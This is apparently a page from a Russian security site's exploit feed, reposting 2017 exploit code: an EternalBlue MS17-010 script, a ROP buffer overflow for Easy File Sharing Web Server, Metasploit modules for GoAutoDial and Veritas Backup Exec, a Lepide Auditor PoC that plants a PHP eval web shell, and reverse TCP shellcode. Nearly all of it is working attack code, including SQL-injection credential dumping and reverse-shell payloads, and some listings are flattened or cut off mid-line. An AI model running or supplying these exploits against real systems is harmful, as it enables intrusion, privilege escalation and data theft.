Exploits

Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)

SecurityLab.ru - Thu, 2017-07-13 01:48
#!/usr/bin/python from impacket import smb, smbconnection from mysmb import MYSMB from struct import pack, unpack, unpack_from import sys import socket import time ''' MS17-010 exploit for Windows 7+ by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 ''' USERNAME = '' PASSWORD = '' ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: fake Token might be possible, but NULL token is much easier. ''' WIN7_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack(' ".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] exploit(target, pipe_name) print('Done')
Categories: Exploits

Easy File Sharing Web Server 7.2 - GET HTTP Request 'PassWD' Buffer Overflow (DEP Bypass)

SecurityLab.ru - Mon, 2017-07-10 01:42
#!/usr/bin/python # Exploit Title: Easy File Sharing Web Server 7.2 - GET Buffer Overflow (DEP Bypass with ROP) # Date: 8 July 2017 # Exploit Author: Sungchul Park # Author Contact: lxmania7@gmail.com # Vendor Homepage: http://www.sharing-file.com # Software Link: http://www.sharing-file.com/efssetup.exe # Version: Easy File Sharing Web Server 7.2 # Tested on: Winows 7 SP1 import socket, struct def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ # For EDX -> flAllocationType(0x1000) [ EAX to EBX ] # 0x00000000, # [-] Unable to find gadget to put 00001000 into edx 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0xFFFFEFFF, # -1001 (static value) 0x100231d1, # NEG EAX # RETN [ImageLoad.dll] 0x1001614d, # DEC EAX # RETN [ImageLoad.dll] 0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x1004de84, # &Writable location [ImageLoad.dll] # For EDX -> flAllocationType(0x1000) [ EBX to EDX ] 0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] 0x10022c1e, # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 0xffffffff, # Filler (Compensation for POP EBX) # For ESI -> &VirtualAlloc 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0xffffffff, # Filler \ 0xffffffff, # Filler | 0xffffffff, # Filler | => (Compensation for RETN 0x10) 0xffffffff, # Filler / 0x1004d1fc, # ptr to &VirtualAlloc() [IAT ImageLoad.dll] 0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll] 0x1001aeb4, # POP ESI # RETN [ImageLoad.dll] 0xffffffff, # 0x1001715d, # INC ESI # ADD AL,3A # RETN [ImageLoad.dll] 0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] # For EBP -> Return Address 0x10013860, # POP EBP # RETN [ImageLoad.dll] 0x61c24169, # & push esp # ret [sqlite3.dll] # For EBX -> dwSize(0x01) 0x100132ba, # POP EBX # RETN [ImageLoad.dll] 0xffffffff, # 0x61c2785d, # INC EBX # ADD AL,83 # RETN [sqlite3.dll] 0x1001f6da, # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] # For ECX -> flProtect(0x40) 0x10019dfa, # POP ECX # RETN [ImageLoad.dll] 0xffffffff, # 0x61c68081, # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 0x61c68081, # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 0x61c06831, # ADD ECX,ECX # RETN [sqlite3.dll] 0x61c06831, # ADD ECX,ECX # RETN [sqlite3.dll] 0x61c06831, # ADD ECX,ECX # RETN [sqlite3.dll] 0x61c06831, # ADD ECX,ECX # RETN [sqlite3.dll] 0x61c06831, # ADD ECX,ECX # RETN [sqlite3.dll] 0x61c06831, # ADD ECX,ECX # RETN [sqlite3.dll] # For EDI -> ROP NOP 0x61c373a4, # POP EDI # RETN [sqlite3.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] # For EAX -> NOP(0x90) 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x90909090, # nop 0x100240c2, # PUSHAD # RETN [ImageLoad.dll] ] return ''.join(struct.pack('
Categories: Exploits

GoAutoDial 3.3 - Authentication Bypass / Command Injection (Metasploit)

SecurityLab.ru - Thu, 2017-07-06 01:44
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "GoAutoDial 3.3 Authentication Bypass / Command Injection", 'Description' => %q{ This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris McCurley', # Discovery & Metasploit module ], 'References' => [ ['CVE', '2015-2843'], ['CVE', '2015-2845'] ], 'Platform' => %w{unix}, 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 21 2015')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 443]), OptBool.new('SSL', [false, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path', '/']) ]) end def check res = check_version() if res and res.body =~ /1421902800/ return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def check_version() uri = target_uri.path send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'changelog.txt'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' } }) end def sqli_auth_bypass() uri = target_uri.path send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity' }, 'vars_post' => { 'user_name' => 'admin', 'user_pass' => '\'%20or%20\'1\'%3D\'1' } }) end def sqli_admin_pass(cookies) uri = target_uri.path send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity', 'Cookie' => cookies } }) end # # Run the actual exploit # def execute_command() encoded = Rex::Text.encode_base64("#{payload.encoded}") params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\"" uri = target_uri.path send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params), 'headers' => { 'User-Agent' => 'Mozilla/5.0', 'Accept-Encoding' => 'identity', 'Cookie' => @cookie } }) end def exploit() print_status("#{rhost}:#{rport} - Trying SQL injection...") res1 = sqli_auth_bypass() if res1 && res1.code == 200 print_good('Authentication Bypass (SQLi) was successful') else print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed') end @cookie = res1.get_cookies print_status("#{rhost}:#{rport} - Dumping admin password...") res = sqli_admin_pass(@cookie) if res print_good(res.body) else print_error('Error: No creds returned, possible mitigations are in place.') end print_status("#{rhost}:#{rport} - Sending payload...waiting for connection") execute_command() end end
Categories: Exploits

Lepide Auditor Suite - 'createdb()' Web Console Database Injection Remote Code Execution

SecurityLab.ru - Thu, 2017-07-06 01:30
#!/usr/bin/python """ Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution Vulnerability Vendor: http://www.lepide.com/ File: lepideauditorsuite.zip SHA1: 3c003200408add04308c04e3e0ae03b7774e4120 Download: http://www.lepide.com/lepideauditor/download.html Analysis: https://www.offensive-security.com/vulndev/auditing-the-auditor/ Summary: ======== The application allows an attacker to specify a server where a custom protocol is implemented. This server performs the authentication and allows an attacker to execute controlled SQL directly against the database as root. Additional code: ================ When I wrote this poc, I didn't combine the server and client into a single poc. So below is the client-poc.py code: root@kali:~# cat client-poc.py #!/usr/bin/python import requests import sys if len(sys.argv) < 3: print "(+) usage: %s " % sys.argv[0] sys.exit(-1) target = sys.argv[1] server = sys.argv[2] s = requests.Session() print "(+) sending auth bypass" s.post('http://%s:7778/' % target, data = {'servername':server, 'username':'whateva','password':'thisisajoke!','submit':''}, allow_redirects=False) print "(+) sending code execution request" s.get('http://%s:7778/genratereports.php' % target, params = {'path':'lol','daterange':'2@3','id':'6'}) Example: ======== root@kali:~# ./server-poc.py Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution by mr_me 2016 (+) waiting for the target... (+) connected by ('172.16.175.174', 50541) (+) got a login request (+) got a username: test (+) got a password: hacked (+) sending SUCCESS packet (+) send string successful (+) connected by ('172.16.175.174', 50542) (+) got a login request (+) got a username: test (+) got a password: hacked (+) sending SUCCESS packet (+) send string successful (+) got a column request (+) got http request id: 6 (+) got http request path: lol (+) send string successful (+) got a filename request (+) got http request daterange: 1@9 - 23:59:59 (+) got http request id: 6 (+) got http request path: lol (+) successfully sent tag (+) successfully sent file! (+) file sent successfully (+) done! Remote Code Execution: http://172.16.175.174:7778/offsec.php?e=phpinfo(); In another console: root@kali:~# ./client-poc.py 172.16.175.174 172.16.175.1 (+) sending auth bypass (+) sending code execution request """ import struct import socket from thread import start_new_thread import struct LOGIN = 601 COLUMN = 604 FILENAME = 603 VALID = 2 TAGR = 4 FILEN = 5 SUCCESS = "_SUCCESS_" def get_string(conn): size = struct.unpack(">i", conn.recv(4))[0] data = conn.recv(size).decode("utf-16") conn.send(struct.pack(">i", VALID)) return data def send_string(conn, string): size = len(string.encode("utf-16-le")) conn.send(struct.pack(">i", size)) conn.send(string.encode("utf-16-le")) return struct.unpack(">i", conn.recv(4))[0] def send_tag(conn, tag): conn.send(struct.pack(">i", TAGR)) conn.send(struct.pack(">i", tag)) return struct.unpack(">i", conn.recv(4))[0] def send_file(conn, filedata): if send_tag(conn, FILEN) == 2: print "(+) successfully sent tag" # send length of file conn.send(struct.pack(">i", len(filedata.encode("utf-16-le")))) # send the malicious payload conn.send(filedata.encode("utf-16-le")) if struct.unpack(">i", conn.recv(4))[0] == 2: print "(+) successfully sent file!" if send_tag(conn, VALID) == 2: return True return False def client_thread(conn): """ Let's put it this way, my mum's not proud of my code. """ while True: data = conn.recv(4) if data: resp = struct.unpack(">i", data)[0] if resp == 4: code = conn.recv(resp) resp = struct.unpack(">i", code)[0] # stage 1 if resp == LOGIN: print "(+) got a login request" # send a VALID response back conn.send(struct.pack(">i", VALID)) # now we expect to get the username and password print "(+) got a username: %s" % get_string(conn) print "(+) got a password: %s" % get_string(conn) # now we try to send to send a success packet print "(+) sending SUCCESS packet" if send_string(conn, SUCCESS) == 2: print "(+) send string successful" # stage 2 elif resp == COLUMN: print "(+) got a column request" # send a VALID response back conn.send(struct.pack(">i", VALID)) print "(+) got http request id: %s" % get_string(conn) print "(+) got http request path: %s" % get_string(conn) if send_string(conn, "foo-bar") == 2: print "(+) send string successful" # stage 3 - this is where the exploitation is elif resp == FILENAME: print "(+) got a filename request" conn.send(struct.pack(">i", VALID)) # now we read back 3 strings... print "(+) got http request daterange: %s" % get_string(conn) print "(+) got http request id: %s" % get_string(conn) print "(+) got http request path: %s" % get_string(conn) # exploit! if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"): print "(+) file sent successfully" print "(+) done! Remote Code Execution: http://%s:7778/offsec.php?e=phpinfo();" % (addr[0]) break conn.close() HOST = '0.0.0.0' PORT = 1056 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10) print "Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution" print "by mr_me 2016\t\n" print "(+) waiting for the target..." while True: # blocking call, waits to accept a connection conn, addr = s.accept() print '(+) connected by %s' % addr start_new_thread(client_thread, (conn,)) s.close()
Categories: Exploits

Linux/x86 - Reverse TCP Shellcode (67 bytes)

SecurityLab.ru - Thu, 2017-07-06 01:26
/* Tiny Shell Reverse TCP Shellcode - C Language Linux/x86 Written in 2013 by Geyslan G. Bem, Hacking bits http://hackingbits.com geyslan@gmail.com This source is licensed under the Creative Commons Attribution-ShareAlike 3.0 Brazil License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/ You are free: to Share - to copy, distribute and transmit the work to Remix - to adapt the work to make commercial use of the work Under the following conditions: Attribution - You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work). Share Alike - If you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one. */ /* tiny_shell_reverse_tcp_shellcode * 67 bytes * null-free if the IP and port are # gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode Testing # nc -l 127.1.1.1 11111 # ./tiny_shell_reverse_tcp_shellcode */ #include #include unsigned char code[] = \ "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd" "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01" "\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1" "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b" "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x31\xc9\xcd\x80"; main () { // When the Port contains null bytes, printf will show a wrong shellcode length. printf("Shellcode Length: %d\n", strlen(code)); // Pollutes all registers ensuring that the shellcode runs in any circumstance. __asm__ ("movl $0xffffffff, %eax\n\t" "movl %eax, %ebx\n\t" "movl %eax, %ecx\n\t" "movl %eax, %edx\n\t" "movl %eax, %esi\n\t" "movl %eax, %edi\n\t" "movl %eax, %ebp\n\t" // Setting the IP "movl $0x0101017f, (code+27)\n\t" // Setting the port "movw $0x672b, (code+33)\n\t" // Calling the shellcode "call code"); }
Categories: Exploits

Veritas/Symantec Backup Exec - SSL NDMP Connection Use-After-Free (Metasploit)

SecurityLab.ru - Fri, 2017-06-30 00:39
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/ndmp_socket' require 'openssl' require 'xdr' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::NDMPSocket def initialize(info={}) super(update_info(info, 'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. This module supports 3 specific versions of the Backup Exec agent in the 14, 15 and 16 series on 64-bit and 32-bit versions of Windows and has been tested from Vista to Windows 10. The check command can help narrow down what major and minor revision is installed and the precise of version of Windows, but some other information may be required to make a reliable choice of target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a reliability of around 85%. On other versions of Windows, reliability is around 35% (due to the need to win a race condition across the network in this case; this may drop further depending on network conditions). The agent is normally installed on all hosts in a domain that need to be backed up, so if one service crashes, try again on another :) Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthew Daley' ], 'References' => [ [ 'CVE', '2017-8895' ], [ 'VTS', '17-006' ], [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64', { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86', { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64', { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86', { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64', { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86', { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64', { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86', { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64', { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86', { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64', { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86', { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ] ], 'DefaultOptions' => { 'RPORT' => 10000, 'NumTriggerAttempts' => 50, 'EXITFUNC' => 'thread' }, 'Privileged' => true, 'DisclosureDate' => 'May 10 2017', 'DefaultTarget' => 8)) register_options([ OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]), OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]), OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ]) ]) end def check s = NDMP::Socket.new(connect) return CheckCode::Unknown unless connect_ndmp(s, 2) resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO)) return CheckCode::Unknown unless resp info = HostInfoResponse.from_xdr(resp.body) print_line('Hostname: ' + info.hostname) print_line('OS type: ' + info.os_type) print_line('OS version: ' + info.os_version) print_line('Host ID: ' + info.host_id) disconnect s = NDMP::Socket.new(connect) return CheckCode::Unknown unless connect_ndmp(s, 3) resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)) return CheckCode::Unknown unless resp info = ServiceInfoResponse.from_xdr(resp.body) print_line('Vendor: ' + info.vendor_name) print_line('Product: ' + info.product_name) print_line('Revision: ' + info.revision_number) ver = info.revision_number.split('.') if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2) CheckCode::Appears else CheckCode::Detected end end def exploit print_status('Connecting sockets...') # Connect a differing amount of sockets for stage 1 spraying depending on the target spray_socks = connect_additional_sockets( datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200), target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3 ) # Likewise, connect a differing amount of sockets for TLS extension spraying depending # on the target num_tls_spray_socks = datastore['NumTLSSpraySockets'] || ( case target.opts['Version'] when 14 0 when 15 target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100 when 16 target.opts['Arch'] == ARCH_X64 ? 100 : 0 end ) tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3) s = NDMP::Socket.new(connect) unless connect_ndmp(s, 3) fail_with(Failure::UnexpectedReply, "Couldn't connect main socket") end ca_cert, ca_key = generate_ca_cert_and_key ca_cert_id = get_cert_id(ca_cert) print_status("CA certificate ID = #{ca_cert_id.to_s(16)}") print_status('Getting and handling a certificate signing request...') agent_cert = handle_a_csr(s, ca_cert, ca_key) fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil? print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}") if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15 # For certain target types, put the stage 1 spray sockets into SSL mode. We can use # the newly made CA certificate and key as our client side certificate ssl_context = OpenSSL::SSL::SSLContext.new ssl_context.cert = ca_cert ssl_context.key = ca_key print_status('Entering spray sockets into SSL mode...') (1..2).each do |phase| spray_socks.each do |ss| require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase) require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) ss.wrap_with_ssl(ssl_context) if phase == 2 end end end print_status('Testing certificate...') require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id) # For some targets, split the spraying of TLS extensions around entering SSL on the # main socket tls_cutoff = tls_spray_socks.length if target.opts['Win8Upwards'] if target.opts['Arch'] == ARCH_X86 tls_cutoff /= 2 end else tls_cutoff /= 10 end spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id) print_status('Entering SSL mode on main socket...') require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id) # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other # stages are contained in the SSL socket buffer at the time of the UAF. The record # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the # record (depending on the amount of trigger attempts required; see attempt_triggers) print_status('Sending stages 2 to 4...') if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 # x64, version 14. Use a TLS handshake record # # Windows 8+: # Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | 16 | 03 | 01 | length | FILLER # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | ret 3 # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | ret | FILLER | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 30 | retsled (0x10 aligned length)... | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # .. | stages 2-4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # # Otherwise: # Stage 1 jumps to 0x18 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | 16 | 03 | 01 | length | FILLER # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | ret | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | stages 2-4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ ret = [0xbe6c897].pack('Q<') if target.opts['Win8Upwards'] ret_3 = [0xbe2829b].pack('Q<') payload = rand_text(24) + ret_3 + ret + rand_text(3) + ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max else payload = rand_text(19) + ret end payload << generate_stages_2_to_4 stage_tls = generate_tls_handshake_record(payload) else # x64, version 15/16. Use a SSLv2 hqndshake record # Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8 # Otherwise: Stage 1 jumps to 0x18 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | length | 01 | 03 | FILLER # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | pop x3; ret | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | FILLER | ret 5 | ret # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 30 | FILLER | retsled (0x8 aligned length)... | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 40 | stages 2 - 4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ pop_x3 = [0xbe1d920].pack('Q<') ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<') ret = [0xbe6c897].pack('Q<') payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) + ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max + generate_stages_2_to_4 stage_tls = generate_tls_in_sslv2_clienthello(payload) end else if target.opts['Version'] == 14 # x86, version 14. Use a TLS handshake record # Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4 # Otherwise: Stage 1 jumps to 0x4 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | FILLER | retsled... | stages 2 to 4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ pop_x3 = [0x6311f901].pack('L<') ret_3 = [0x6312164a].pack('L<') ret = [0x63101514].pack('L<') payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) + ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4) stage_tls = generate_tls_handshake_record(payload, pop_x3[0]) else # x86, version 15/16. Use a SSLv2 hqndshake record # Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4 # Otherwise: Stage 1 jumps to 0x4 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | FL | retsled... | stages 2 to 4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<') inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<') ret = [0x63101564].pack('L<') payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char + ret * [0, datastore['NumTriggerAttempts'] - 3].max + generate_stages_2_to_4 stage_tls = generate_tls_in_sslv2_clienthello(payload) end end s.raw_sendall(stage_tls, 0) if target.opts['Version'] == 14 resp = s.raw_recv(5) fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty? s.raw_recv(resp[3...5].unpack('n')[0]) end print_status('Closing TLS spray sockets...') tls_spray_socks.reverse! unless target.opts['Win8Upwards'] tls_spray_socks.each do |ts| ts.close sleep(0.1) end sleep(1) # Spray stage 1 in the string payloads of selected NDMP packet types if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64 spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1]) spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR else spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2 spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH end spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload) # We need to be able to detect as soon as a connection is made to the payload in order # to stop spraying/trigger attempts ASAP @payload_connected = false if payload_instance.respond_to?(:handle_connection) old_handle_connect = payload_instance.method(:handle_connection) payload_instance.define_singleton_method(:handle_connection) do |*args| @payload_connected = true old_handle_connect.call(*args) end end if target.opts['Win8Upwards'] # After this SSL request, the BIO struct is freed but still referred to in the new # SSL context print_status('Re-entering SSL 